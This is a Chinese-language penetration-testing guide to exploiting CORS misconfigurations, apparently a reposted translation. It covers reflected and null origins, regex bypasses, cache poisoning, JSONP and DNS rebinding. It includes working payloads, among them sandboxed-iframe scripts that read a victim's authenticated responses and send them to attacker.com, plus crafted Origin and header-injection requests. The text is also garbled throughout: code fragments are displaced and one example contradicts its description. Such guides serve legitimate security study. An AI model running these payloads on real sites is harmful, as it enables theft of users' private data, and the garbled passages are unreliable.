什么是 CORS?
跨域资源共享 (CORS) 标准使服务器能够定义谁可以访问其资产以及允许从外部源使用哪些 HTTP 请求方法。
同源策略要求请求资源的服务器和托管资源的服务器共享**相同的协议(例如)、域名(例如)和端口**(例如 80)。根据此策略,只有来自同一域和端口的网页才允许访问资源。http://``internal-web.com
同源策略在上下文中的应用http://normal-website.com/example/example.html
如下图所示:
访问的 URL | 允许访问吗? |
---|---|
http://normal-website.com/example/ |
是:相同的方案、域和端口 |
http://normal-website.com/example2/ |
是:相同的方案、域和端口 |
https://normal-website.com/example/ |
否:不同的方案和端口 |
http://en.normal-website.com/example/ |
否:不同的域名 |
http://www.normal-website.com/example/ |
否:不同的域名 |
http://normal-website.com:8080/example/ |
否:不同的端口* |
*Internet Explorer 在执行同源策略时会忽略端口号,从而允许此访问。
Access-Control-Allow-Origin
标头
此标头可以允许多个来源、一个**null**
值或一个通配符*****
。但是,没有浏览器支持多个来源,并且通配符的使用*
受到限制。(通配符必须单独使用,Access-Control-Allow-Credentials: true
不允许与通配符一起使用。)
该Header是服务器在响应网站发起的跨域资源请求时发出的,浏览器会自动添加该Origin
Header。
Access-Control-Allow-Credentials
标头
默认情况下,跨域请求不需要 Cookie 或 Authorization 标头等凭据。但是,跨域服务器可以通过将Access-Control-Allow-Credentials
标头设置为 来允许在发送凭据时读取响应true
。
如果设置为true
,浏览器将传输凭据(cookie、授权标头或 TLS 客户端证书)。
var xhr = new XMLHttpRequest();xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { console.log(xhr.responseText); }}xhr.open('GET', 'http://example.com/', true);xhr.withCredentials = true;xhr.send(null);
fetch(url, {credentials: 'include' })
const xhr = new XMLHttpRequest();xhr.open('POST', 'https://bar.other/resources/post-here/');xhr.setRequestHeader('X-PINGOTHER', 'pingpong');xhr.setRequestHeader('Content-Type', 'application/xml');xhr.onreadystatechange = handler;xhr.send('<person><name>Arun</name></person>');
CSRF 飞行前请求
了解跨域通信中的预检请求
在特定条件下发起跨域请求时,例如使用非标准 HTTP 方法(除 HEAD、GET、POST 之外的任何方法)、引入新标头或使用特殊Content-Type 标头值,可能需要进行预检请求。此初步请求利用该**OPTIONS**
方法,用于通知服务器即将发起的跨域请求的意图,包括它打算使用的 HTTP 方法和标头。
跨源资源共享 (CORS)协议要求进行此预检检查,通过验证允许的方法、标头和源的可信度来确定所请求的跨源操作的可行性。如需详细了解哪些条件可以避免进行预检请求,请参阅Mozilla 开发者网络 (MDN)提供的综合指南。
需要特别注意的是,没有预检请求并不意味着不需要响应携带授权标头。如果没有这些标头,浏览器将无法处理跨源请求的响应。
请考虑以下旨在使用该方法的飞行前请求PUT
以及名为的自定义标头Special-Request-Header
:
OPTIONS /info HTTP/1.1Host: example2.com...Origin: https://example.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: Authorization
作为响应,服务器可能会返回指示接受的方法、允许的来源和其他 CORS 策略详细信息的标头,如下所示:
HTTP/1.1 204 No Content...Access-Control-Allow-Origin: https://example.comAccess-Control-Allow-Methods: PUT, POST, OPTIONSAccess-Control-Allow-Headers: AuthorizationAccess-Control-Allow-Credentials: trueAccess-Control-Max-Age: 240
-
**Access-Control-Allow-Headers**
:此标头指定实际请求期间可以使用哪些标头。它由服务器设置,以指示客户端请求中允许使用的标头。 -
**Access-Control-Expose-Headers**
:通过此标头,服务器告知客户端除了简单响应标头之外,还有哪些标头可以作为响应的一部分公开。 -
**Access-Control-Max-Age**
:此标头指示预检请求的结果可以缓存多长时间。服务器设置预检请求返回的信息可以重复使用的最大时间(以秒为单位)。 -
**Access-Control-Request-Headers**
:在飞行前请求中使用,此标头由客户端设置,以告知服务器客户端想要在实际请求中使用哪些 HTTP 标头。 -
**Access-Control-Request-Method**
:此标头也用于预检请求,由客户端设置以指示在实际请求中将使用哪种 HTTP 方法。 -
**Origin**
:此标头由浏览器自动设置,指示跨域请求的来源。服务器使用它来根据 CORS 策略评估是否应允许或拒绝传入请求。
请注意,通常(取决于内容类型和标头设置)在GET/POST 请求中不会发送预检请求(请求直接发送),但如果您想要访问响应的标头/正文,它必须包含允许它的Access-Control-Allow-Origin标头。因此,CORS 不能防止 CSRF(但它可能有帮助)。
本地网络请求 飞行前请求
-
**Access-Control-Request-Local-Network**
:此标头包含在客户端的请求中,表示查询针对的是本地网络资源。它充当一个标记,告知服务器该请求源自本地网络。 -
**Access-Control-Allow-Local-Network**
:作为响应,服务器利用此标头来传达请求的资源被允许与本地网络之外的实体共享的信息。它充当跨不同网络边界共享资源的绿灯,确保受控访问,同时维护安全协议。
允许本地网络请求的有效响应还需要在响应标头中包含Access-Controls-Allow-Local_network: true
:
HTTP/1.1 200 OK...Access-Control-Allow-Origin: https://example.comAccess-Control-Allow-Methods: GETAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Local-Network: trueContent-Length: 0...
请注意,linux0.0.0.0IP 可以绕过这些要求来访问本地主机,因为该 IP 地址不被视为“本地”。
如果您使用本地端点的公共 IP 地址(例如路由器的公共 IP) ,也可以绕过本地网络要求。因为在许多情况下,即使正在访问公共 IP ,如果**来自本地网络**,也会授予访问权限。
通配符
请注意,即使以下配置看起来非常宽松:
Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: true
浏览器不允许这种情况,因此凭据不会随允许的请求一起发送。
可利用的错误配置
据观察,设置为Access-Control-Allow-Credentials
是大多数实际攻击**true**
的先决条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,让浏览器发出请求相对于自己发出请求的好处就会减少,因为利用用户的 cookie 变得不可行。
例外:利用网络位置作为身份验证
有一种例外情况,即受害者的网络位置充当身份验证的一种形式。这允许受害者的浏览器用作代理,绕过基于 IP 的身份验证来访问内联网应用程序。这种方法的影响与 DNS 重新绑定相似,但更容易利用。
反映Origin
在Access-Control-Allow-Origin
由于对这些标头的组合存在限制,因此在实际情况Origin
下反映标头的值在理论上不太可能发生。但是,寻求为多个 URL 启用 CORS 的开发人员可以通过复制标头的值来动态生成标头。这种方法可能会引入漏洞,尤其是当攻击者使用一个名称看似合法的域名,从而欺骗验证逻辑时。Access-Control-Allow-Origin``Access-Control-Allow-Origin``Origin
<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://example.com/details',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; };</script>
利用null
起源
为重定向或本地 HTML 文件等情况指定的来源具有独特的地位。一些应用程序将此来源列入白名单以方便本地开发,无意中允许任何网站通过沙盒 iframenull
模仿来源,从而绕过 CORS 限制。null
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://example/details',true);req.withCredentials = true;req.send();function reqListener() { location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);};</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>var req = new XMLHttpRequest();req.onload = reqListener;req.open('get','https://example/details',true);req.withCredentials = true;req.send();function reqListener() { location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);};</script>"></iframe>
正则表达式绕过技术
遇到域名白名单时,测试绕过机会至关重要,例如将攻击者的域名附加到白名单域名或利用子域名接管漏洞。此外,用于域名验证的正则表达式可能会忽略域名命名约定中的细微差别,从而提供进一步的绕过机会。
高级正则表达式绕过
正则表达式模式通常专注于字母数字、点 (.) 和连字符 (-),而忽略其他可能性。例如,精心设计的域名包含浏览器和正则表达式模式解释不同的字符,可以绕过安全检查。Safari、Chrome 和 Firefox 对子域中下划线字符的处理说明了如何利用此类差异来规避域验证逻辑。
有关此绕过检查的更多信息和设置:https://www.corben.io/advanced-cors-techniques/和https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
来自子域内的XSS
开发人员通常会实施防御机制,通过将允许请求信息的域列入白名单来防止 CORS 被利用。尽管采取了这些预防措施,但系统的安全性并非万无一失。白名单域中即使存在一个易受攻击的子域,也可能通过其他漏洞(例如 XSS(跨站点脚本))打开 CORS 被利用的大门。
为了说明这一点,请考虑以下场景:域requester.com
被列入白名单,可以访问另一个域 的资源。provider.com
服务器端配置可能如下所示:
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {// Access data} else {// Unauthorized access}
在此设置中, 的所有子域requester.com
均允许访问。但是,如果某个子域(例如sub.requester.com
)受到 XSS 漏洞的攻击,攻击者可以利用此弱点。例如,有权访问 的攻击者sub.requester.com
可以利用 XSS 漏洞绕过 CORS 策略并恶意访问 上的资源provider.com
。
特殊字符
PortSwigger 的URL 验证绕过备忘单发现某些浏览器支持域名内的奇怪字符。
Chrome 和 Firefox 支持下划线_
,可以绕过为验证Origin
标头而实施的正则表达式:
GET / HTTP/2Cookie: <session_cookie>Origin: https://target.application_.arbitrary.com
HTTP/2 200 OKAccess-Control-Allow-Origin: https://target.application_.arbitrary.comAccess-Control-Allow-Credentials: true
Safari 对域名中特殊字符的接受更加宽松:
GET / HTTP/2Cookie: <session_cookie>Origin: https://target.application}.arbitrary.com
HTTP/2 200 OKCookie: <session_cookie>Access-Control-Allow-Origin: https://target.application}.arbitrary.comAccess-Control-Allow-Credentials: true
其他有趣的 URL 技巧
URL 格式绕过
服务器端缓存中毒
从这项研究
通过 HTTP 标头注入利用服务器端缓存中毒,可能会引发存储型跨站点脚本 (XSS) 漏洞。当应用程序无法清除标Origin
头中的非法字符时,就会出现这种情况,从而为 Internet Explorer 和 Edge 用户带来漏洞。这些浏览器将 (0x0d) 视为合法的 HTTP 标头终止符,从而导致 HTTP 标头注入漏洞。
考虑以下请求,其中Origin
标头被操纵:
GET / HTTP/1.1Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer 和 Edge 将响应解释为:
HTTP/1.1 200 OKAccess-Control-Allow-Origin: zContent-Type: text/html; charset=UTF-7
虽然直接利用此漏洞让 Web 浏览器发送格式错误的标头是不可行的,但可以使用 Burp Suite 等工具手动生成精心设计的请求。此方法可能导致服务器端缓存保存响应并无意中将其提供给其他人。精心设计的有效负载旨在将页面的字符集更改为 UTF-7,这是一种通常与 XSS 漏洞相关的字符编码,因为它能够以可以在某些上下文中作为脚本执行的方式对字符进行编码。
有关存储型 XSS 漏洞的更多信息,请参阅PortSwigger。
注意:HTTP 标头注入漏洞的利用(尤其是通过服务器端缓存投毒)凸显了验证和清理所有用户提供的输入(包括 HTTP 标头)的重要性。始终采用包含输入验证的强大安全模型来防止此类漏洞。
客户端缓存中毒
从这项研究
在此场景中,我们观察到一个网页实例,该网页反映未正确编码的自定义 HTTP 标头的内容。具体来说,该网页反映X-User-id
标头中包含的内容,其中可能包含恶意 JavaScript,如示例中所示,标头包含一个 SVG 图像标签,旨在在加载时执行 JavaScript 代码。
跨域资源共享 (CORS) 策略允许发送自定义标头。但是,由于 CORS 限制,浏览器无法直接呈现响应,因此这种注入的实用性似乎有限。考虑到浏览器的缓存行为,关键点就出现了。如果Vary: Origin
未指定标头,则浏览器可能会缓存恶意响应。随后,可以在导航到 URL 时直接呈现此缓存的响应,从而绕过初始请求时直接呈现的需要。此机制通过利用客户端缓存增强了攻击的可靠性。
为了说明这种攻击,我们提供了一个 JavaScript 示例,该示例旨在在网页环境中执行,例如通过 JSFiddle。此脚本执行一个简单的操作:它向指定的 URL 发送一个请求,其中包含包含恶意 JavaScript 的自定义标头。请求成功完成后,它会尝试导航到目标 URL,如果响应已被缓存而没有正确处理标Vary: Origin
头,则可能会触发注入脚本的执行。
以下是用于执行此攻击的 JavaScript 的简要分解:
<script>function gotcha() { location=url }var req = new XMLHttpRequest();url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sitesreq.onload = gotcha;req.open('get', url, true);req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");req.send();</script>
旁路
XSSI(跨站点脚本包含)/JSONP
XSSI,也称为跨站点脚本包含,是一种利用了使用脚本标记包含资源时同源策略 (SOP) 不适用这一事实的漏洞。这是因为脚本需要能够从不同的域包含。此漏洞允许攻击者访问和读取使用脚本标记包含的任何内容。
当涉及动态 JavaScript 或 JSONP(带填充的 JSON)时,此漏洞会变得尤为严重,尤其是当使用 Cookie 等环境授权信息进行身份验证时。当从其他主机请求资源时,Cookie 会被包含在内,从而使攻击者可以访问它们。
为了更好地理解和缓解此漏洞,您可以使用https://github.com/kapytein/jsonp提供的 BurpSuite 插件。此插件可以帮助识别和解决 Web 应用程序中潜在的 XSSI 漏洞。
在此阅读有关不同类型的 XSSI 以及如何利用它们的更多信息。
尝试在请求中添加一个**callback**
参数。也许页面准备以 JSONP 形式发送数据。在这种情况下,页面将返回Content-Type: application/javascript
绕过 CORS 策略的数据。
轻松(无用?)绕过
绕过Access-Control-Allow-Origin
限制的一种方法是请求 Web 应用程序代表您发出请求并返回响应。但是,在这种情况下,最终受害者的凭据不会被发送,因为请求是发送到不同的域。
-
CORS-escape:此工具提供了一个代理,可将您的请求连同其标头一起转发,同时还会欺骗 Origin 标头以匹配请求的域。这有效地绕过了 CORS 策略。以下是使用 XMLHttpRequest 的示例:
-
simple-cors-escape:此工具提供了一种代理请求的替代方法。服务器不会原封不动地传递您的请求,而是使用指定的参数发出自己的请求。
绕过 iframe + 弹出窗口
你可以通过创建 iframe并从中打开一个新窗口来绕过 CORS 检查。更多信息请参见以下页面:e.origin === window.origin
XSS、CSP 和 SOP 中的 iframe
通过 TTL 进行 DNS 重新绑定
通过 TTL 进行 DNS 重新绑定是一种通过操纵 DNS 记录来绕过某些安全措施的技术。其工作原理如下:
-
攻击者创建一个网页并让受害者访问它。
-
然后,攻击者更改自己域名的 DNS(IP)以指向受害者的网页。
-
受害者的浏览器会缓存 DNS 响应,该响应可能具有 TTL(生存时间)值,指示 DNS 记录应被视为有效的时间长度。
-
当 TTL 过期时,受害者的浏览器会发出新的 DNS 请求,允许攻击者在受害者的页面上执行 JavaScript 代码。
-
通过控制受害者的 IP,攻击者可以收集受害者的信息,而无需向受害者服务器发送任何 cookie。
值得注意的是,浏览器具有缓存机制,即使 TTL 值较低,也可以防止立即滥用此技术。
DNS 重新绑定可用于绕过受害者执行的明确 IP 检查,或者用于用户或机器人在同一页面上停留较长时间从而导致缓存过期的情况。
如果您需要一种快速的方法来滥用 DNS 重新绑定,您可以使用类似https://lock.cmpxchg8b.com/rebinder.html的服务。
要运行您自己的 DNS 重新绑定服务器,您可以使用DNSrebinder等工具(https://github.com/mogwailabs/DNSrebinder)。这涉及公开您的本地端口 53/udp、创建指向它的 A 记录(例如 ns.example.com)以及创建指向之前创建的 A 子域(例如 ns.example.com)的 NS 记录。然后,您的主机将解析 ns.example.com 子域的任何子域。
您还可以探索http://rebind.it/singularity.html上的公开运行的服务器,以进一步了解和实验。
通过DNS 缓存泛洪进行 DNS 重新绑定
通过 DNS 缓存泛洪进行 DNS 重新绑定是另一种用于绕过浏览器缓存机制并强制进行第二次 DNS 请求的技术。其工作原理如下:
-
最初,当受害者发出 DNS 请求时,会使用攻击者的 IP 地址进行响应。
-
为了绕过缓存防御,攻击者利用了服务工作者。服务工作者会淹没 DNS 缓存,从而有效地删除缓存的攻击者服务器名称。
-
当受害者的浏览器发出第二个 DNS 请求时,它将使用 IP 地址 127.0.0.1 进行响应,这通常指的是本地主机。
通过使用服务工作线程淹没 DNS 缓存,攻击者可以操纵 DNS 解析过程并迫使受害者的浏览器发出第二个请求,这次解析为攻击者所需的 IP 地址。
通过缓存进行 DNS 重新绑定
绕过缓存防御的另一种方法是利用 DNS 提供商中同一子域的多个 IP 地址。其工作原理如下:
-
攻击者在 DNS 提供商中为同一个子域设置两个 A 记录(或具有两个 IP 的单个 A 记录)。
-
当浏览器检查这些记录时,它会收到两个 IP 地址。
-
如果浏览器决定首先使用攻击者的 IP 地址,攻击者就可以提供对同一域执行 HTTP 请求的有效负载。
-
然而,一旦攻击者获得受害者的 IP 地址,他们就会停止响应受害者的浏览器。
-
受害者的浏览器意识到域名没有响应后,便继续使用第二个给定的 IP 地址。
-
通过访问第二个 IP 地址,浏览器绕过了同源策略 (SOP),从而允许攻击者滥用它并收集和窃取信息。
此技术利用了当为域提供多个 IP 地址时浏览器的行为。通过策略性地控制响应并操纵浏览器对 IP 地址的选择,攻击者可以利用 SOP 并访问受害者的信息。
请注意,为了访问 localhost,您应该尝试在 Windows 中重新绑定127.0.0.1 ,在 linux 中重新绑定**0.0.0.0。godaddy**或 cloudflare 等提供商不允许我使用 ip 0.0.0.0,但 AWS route53 允许我创建一个 A 记录,其中 2 个 IP 之一是“0.0.0.0”
有关更多信息,请查看https://unit42.paloaltonetworks.com/dns-rebinding/
其他常见绕过方法
-
如果不允许使用内部 IP,他们可能忘记禁止 0.0.0.0(适用于 Linux 和 Mac)
-
如果不允许使用内部 IP,则使用CNAME响应到本地主机(适用于 Linux 和 Ma
-
如果不允许内部 IP作为 DNS 响应,您可以将CNAME 响应到内部服务,例如www.corporate.internal。
DNS 重竞标武器化
您可以在演讲Gerald Doussot - DNS 重绑定攻击的状态和起源奇点 - DEF CON 27 会议中找到有关先前的绕过技术以及如何使用以下工具的更多信息。
**Singularity of Origin**
是一款执行DNS 重新绑定攻击的工具。它包括将攻击服务器 DNS 名称的 IP 地址重新绑定到目标计算机 IP 地址以及提供攻击负载以利用目标计算机上的易受攻击的软件所需的组件。
真正保护您免受 DNS 重新绑定的侵害
-
在内部服务中使用 TLS
-
请求身份验证以访问数据
-
验证主机标头
-
https://wicg.github.io/private-network-access/:建议在公共服务器想要访问内部服务器时始终发送预检请求
原文始发于微信公众号(安全视安):【翻译】CORS - 错误配置和绕过
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论